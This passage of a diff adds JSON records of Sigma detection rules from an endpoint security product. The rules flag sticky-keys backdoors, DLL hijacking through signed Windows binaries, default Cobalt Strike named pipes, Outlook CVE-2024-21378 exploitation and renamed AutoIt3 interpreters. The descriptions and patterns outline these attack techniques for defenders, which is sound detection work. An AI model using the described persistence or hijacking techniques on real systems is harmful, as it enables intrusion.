*'\n\n    exclusion_image:\n        Image:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\System32\\mcbuilder.exe'\n            - '?:\\Windows\\System32\\notepad.exe'\n\n    exclusion_schneider:\n        Image: '?:\\Windows\\system32\\CN*.exe' # (CNFUTW3.EXE, CNFXIP.exe)\n        ProcessSigned: 'true'\n        ProcessSignature: 'Schneider Electric'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bab5e737-6c2c-4c7b-91d5-2de4b89836fb",
+  "rule_name": "Suspicious Process Executed via Control Panel",
+  "rule_description": "Detects the suspicious execution of a process by the control.exe Windows Control Panel binary, which may indicate an attempt to proxy malicious DLL execution through the Windows Control Panel.\nControl.exe is a legitimate Windows system binary that handles the execution of Control Panel items and applets. Rundll32.exe is a Windows utility that loads and executes functions from Dynamic Link Libraries (DLLs). Attackers can use control.exe to spawn rundll32.exe, effectively proxying the execution of malicious DLLs while appearing to originate from a trusted system component.\nIt is recommended to investigate the command-line arguments of the rundll32.exe process to identify the specific DLL being loaded, analyze it, and review any network connections or file system modifications made at the time of execution.\n",
+  "rule_creation_date": "2021-07-16",
+  "rule_modified_date": "2025-05-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "baca5663-583c-45f9-b5dc-ea96a22ce542",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088812Z",
+  "creation_date": "2026-03-23T11:45:34.088814Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088818Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hackingarticles.in/windows-persistence-accessibility-features/",
+    "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/privilege-escalation/untitled-3/accessibility-features",
+    "https://attack.mitre.org/techniques/T1546/008/"
+  ],
+  "name": "t1546_008_persistence_sticky_keys.yml",
+  "content": "title: Sticky Keys Backdoor Used\nid: baca5663-583c-45f9-b5dc-ea96a22ce542\ndescription: |\n    Detects the launch of accessibility utilities maliciously \"debugged\" through the Image File Execution Option debugger key or simply replaced.\n    Attackers can use this technique to achieve persistence and can be triggered through a RDP connection (by pressing the Shift key 5 times for instance).\n    It is recommended to investigate subsequent actions performed by the executed binary to look for malicious actions.\nreferences:\n    - https://www.hackingarticles.in/windows-persistence-accessibility-features/\n    - https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/privilege-escalation/untitled-3/accessibility-features\n    - https://attack.mitre.org/techniques/T1546/008/\ndate: 2020/10/02\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.008\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ParentImage|endswith: '\\winlogon.exe'\n        # osk.exe or magnify.exe can be spawn directly by utilman.exe\n        # after the combination of keys \"Windows key + U\" to launch utilman.exe we can select magnifier or on-Screen Keyboard\n        - GrandparentImage|endswith: '\\winlogon.exe'\n\n    selection_debugged:\n        CommandLine:\n            - '* sethc.exe*'\n            - '* utilman.exe*'\n            - '* osk.exe*'\n            - '* Magnify.exe*'\n            - '* Narrator.exe*'\n            - '* DisplaySwitch.exe*'\n            - '* AtBroker.exe*'\n\n    selection_targeted_binaries:\n        Image|endswith:\n            - '\\sethc.exe'\n            - '\\utilman.exe'\n            - '\\osk.exe'\n            - '\\Magnify.exe'\n            - '\\Narrator.exe'\n            - '\\DisplaySwitch.exe'\n            - '\\AtBroker.exe'\n\n    filter_original_filenames:\n        OriginalFileName:\n            - 'sethc.exe'\n            - 'utilman2.exe'  # weird, contains a 2 in win2016, win7, win10, ..\n            - 'osk.exe'\n            - 'ScreenMagnifier.exe'  # magnify\n            - 'SR.exe'  # narrator\n            - 'DisplaySwitch.exe'\n            - 'AtBroker.exe'\n\n    # On recent version the Original filename for Narrator.exe is SR.exe\n    # On old version of Windows 7 we find Narrator.exe with Original filename which is Narrator.exe\n    # https://www.virustotal.com/gui/file/03c9cfbf3f279ba38d35ab93563846ce44e5482e8e1882d19bd34635fd5ef3b1\n    # SHA256: 03c9cfbf3f279ba38d35ab93563846ce44e5482e8e1882d19bd34635fd5ef3b1\n    # Product version: 6.1.7601.23403\n    filter_original_narrator:\n        OriginalFileName: 'Narrator.exe'\n        InternalName: 'Narrator.exe'\n        Description: 'Narrator'\n        Company: 'Microsoft Corporation'\n        Product: 'Microsoft® Windows® Operating System'\n        LegalCopyright: '© Microsoft Corporation. All rights reserved.'\n\n    # Process is being debugged OR replaced binaries are executed\n    condition: selection and ((selection_debugged and not selection_targeted_binaries) or (selection_targeted_binaries and not 1 of filter_*))\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "baca5663-583c-45f9-b5dc-ea96a22ce542",
+  "rule_name": "Sticky Keys Backdoor Used",
+  "rule_description": "Detects the launch of accessibility utilities maliciously \"debugged\" through the Image File Execution Option debugger key or simply replaced.\nAttackers can use this technique to achieve persistence and can be triggered through a RDP connection (by pressing the Shift key 5 times for instance).\nIt is recommended to investigate subsequent actions performed by the executed binary to look for malicious actions.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bace5f6c-d484-4530-8223-00bf3e60dc04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593469Z",
+  "creation_date": "2026-03-23T11:45:34.593472Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593480Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nethost.yml",
+  "content": "title: DLL Hijacking via nethost.exe\nid: bace5f6c-d484-4530-8223-00bf3e60dc04\ndescription: |\n    Detects potential Windows DLL Hijacking via nethost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'nethost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\RASAPI32.dll'\n            - '\\rasman.dll'\n            - '\\rtutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bace5f6c-d484-4530-8223-00bf3e60dc04",
+  "rule_name": "DLL Hijacking via nethost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via nethost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bae2358c-3fa3-468c-a5d5-ac72c61adbc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096717Z",
+  "creation_date": "2026-03-23T11:45:34.096719Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096723Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_shellappruntim.yml",
+  "content": "title: DLL Hijacking via ShellAppRunt.exe\nid: bae2358c-3fa3-468c-a5d5-ac72c61adbc3\ndescription: |\n    Detects potential Windows DLL Hijacking via ShellAppRunt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ShellAppRuntime.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcrypt.dll'\n            - '\\idstore.dll'\n            - '\\shell32.dll'\n            - '\\wlidprov.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bae2358c-3fa3-468c-a5d5-ac72c61adbc3",
+  "rule_name": "DLL Hijacking via ShellAppRunt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ShellAppRunt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bb1c58fe-1301-4caf-8ca8-6fef9d1f7b5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072783Z",
+  "creation_date": "2026-03-23T11:45:34.072785Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072789Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/",
+    "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
+    "https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/"
+  ],
+  "name": "t1021_002_default_cobaltstrike_named_pipes_connection.yml",
+  "content": "title: Default CobaltStrike Named Pipe Connected\nid: bb1c58fe-1301-4caf-8ca8-6fef9d1f7b5d\ndescription: |\n    Detects the connection to a named pipe pertaining to the CobaltStrike framework.\n    CobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\n    It is recommended to isolate infected hosts and to start incident response to determine the origin of the CobaltStrike beacon.\nreferences:\n    - https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/\n    - https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575\n    - https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/\ndate: 2022/07/08\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection_utilities:\n        PipeName|endswith:\n            # Cobalt Strike [3.x - 4.2]\n            - '\\sshagent'\n            - '\\portscan'\n            - '\\keylogger'\n            - '\\netview'\n            - '\\screenshot'\n\n    selection_msse:\n        # Default cobalt are usually in the MSSE-???-server form\n        # but have also been spotted with a smaller or higher number\n        # of random chars, better make it generic to be sure\n        PipeName|endswith: '\\MSSE-*-server'\n\n    selection_other:\n        # Startswith here allows to match all prefixes\n        PipeName|startswith:\n            - '\\msagent_'\n            - '\\status_'\n            - '\\postex_ssh_'\n            - '\\postex_'\n            - '\\interprocess_'\n            - '\\samr_'\n            - '\\netlogon_'\n            - '\\srvsvc_'\n            - '\\lsarpc_'\n\n    condition: 1 of selection_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bb1c58fe-1301-4caf-8ca8-6fef9d1f7b5d",
+  "rule_name": "Default CobaltStrike Named Pipe Connected",
+  "rule_description": "Detects the connection to a named pipe pertaining to the CobaltStrike framework.\nCobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\nIt is recommended to isolate infected hosts and to start incident response to determine the origin of the CobaltStrike beacon.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bb218777-cf21-46e8-b489-ccda4ed23906",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083206Z",
+  "creation_date": "2026-03-23T11:45:34.083208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083213Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.netspi.com/blog/technical/red-team-operations/microsoft-outlook-remote-code-execution-cve-2024-21378/"
+  ],
+  "name": "cve_2024_21378_outlook.yml",
+  "content": "title: Outlook CVE-2024-21378 Vulnerability Exploited\nid: bb218777-cf21-46e8-b489-ccda4ed23906\ndescription: |\n    Detects a registry value related to exploitation of CVE-2024-21378 set by Outlook.\n    In order to exploit the vulnerability, adversaries must create a custom Outlook form that creates a new COM object in the registry.\n    It is recommended to check the legitimacy of the DLL that is specified in the registry data.\nreferences:\n    - https://www.netspi.com/blog/technical/red-team-operations/microsoft-outlook-remote-code-execution-cve-2024-21378/\ndate: 2024/03/12\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.defense_evasion\n    - attack.t1112\n    - cve.2024-21378\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.Outlook\n    - classification.Windows.Exploit.CVE-2024-21378\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_write:\n        EventType: 'SetValue'\n\n    selection_outlook:\n        TargetObject|endswith: '\\CLSID\\\\*\\InprocServer32\\(Default)'\n        ProcessImage|endswith: '\\Outlook.exe'\n\n    exclusion_binary_data:\n        Details: 'Binary Data'\n\n    exclusion_shdocvw:\n        Details|endswith: # some details start with a space\n            - '%SystemRoot%\\system32\\shdocvw.dll'\n            - '%SystemRoot%\\SysWow64\\shdocvw.dll'\n\n    exclusion_shell32:\n        Details|endswith: # some details start with a space\n            - '%SYSTEMROOT%\\system32\\shell32.dll'\n            - '%SYSTEMROOT%\\syswow64\\shell32.dll'\n\n    exclusion_teams:\n        Details:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\TeamsMeetingAdd-in\\\\*\\x86\\Microsoft.Teams.AddinLoader.dll'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\TeamsMeetingAdd-in\\\\*\\x64\\Microsoft.Teams.AddinLoader.dll'\n\n    exclusion_hp:\n        TargetObject|endswith: '\\CLSID\\{B286F068-5B17-4AE8-989B-8F9A199C47BA}\\InprocServer32\\(Default)'\n        Details: '?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\hpcdmc64.DLL'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bb218777-cf21-46e8-b489-ccda4ed23906",
+  "rule_name": "Outlook CVE-2024-21378 Vulnerability Exploited",
+  "rule_description": "Detects a registry value related to exploitation of CVE-2024-21378 set by Outlook.\nIn order to exploit the vulnerability, adversaries must create a custom Outlook form that creates a new COM object in the registry.\nIt is recommended to check the legitimacy of the DLL that is specified in the registry data.\n",
+  "rule_creation_date": "2024-03-12",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1112",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bb54404b-0e9c-4feb-b2e2-a874ac1d817a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606994Z",
+  "creation_date": "2026-03-23T11:45:34.606997Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607005Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://fr.darktrace.com/blog/growing-your-onion-autoit-malware-in-the-darktrace-kill-chain",
+    "https://attack.mitre.org/techniques/T1059/010/"
+  ],
+  "name": "t1059_010_suspicious_autoit3_executable.yml",
+  "content": "title: Suspicious AutoIt3 Binary Executed\nid: bb54404b-0e9c-4feb-b2e2-a874ac1d817a\ndescription: |\n    Detects the suspicious execution of a renamed AutoIt3 executable or an AutoIt3 executable launched from an uncommon folder.\n    Adversaries may try to hide malicious AutoIt scripts execution by masquerating the interpreter as another executable.\n    It is recommended to check any children of this process and the activities of the parent for other malicious behavior.\nreferences:\n    - https://fr.darktrace.com/blog/growing-your-onion-autoit-malware-in-the-darktrace-kill-chain\n    - https://attack.mitre.org/techniques/T1059/010/\ndate: 2024/05/13\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.010\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_binary:\n        OriginalFileName: 'AutoIt3.exe'\n\n    selection_directory:\n        CurrentDirectory|startswith: '?:\\Users\\\\*\\AppData\\'\n\n    filter_legitimate:\n        Image|endswith:\n            - '\\AutoIt3.exe'\n            - '\\AutoIt3_x64.exe'\n\n    # Alor Oplus\n    exclusion_alor:\n        CommandLine: '.\\install.exe install_pdf.au3'\n        ParentImage|endswith: '\\install_pdf.exe'\n\n    condition: ((selection_binary and not filter_legitimate) or all of selection_*) and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bb54404b-0e9c-4feb-b2e2-a874ac1d817a",
+  "rule_name": "Suspicious AutoIt3 Binary Executed",
+  "rule_description": "Detects the suspicious execution of a renamed AutoIt3 executable or an AutoIt3 executable launched from an uncommon folder.\nAdversaries may try to hide malicious AutoIt scripts execution by masquerating the interpreter as another executable.\nIt is recommended to check any children of this process and the activities of the parent for other malicious behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bbd104fd-9499-44d2-8315-0480a5e955bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096544Z",
+  "creation_date": "2026-03-23T11:45:34.096546Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096550Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fodhelper.yml",
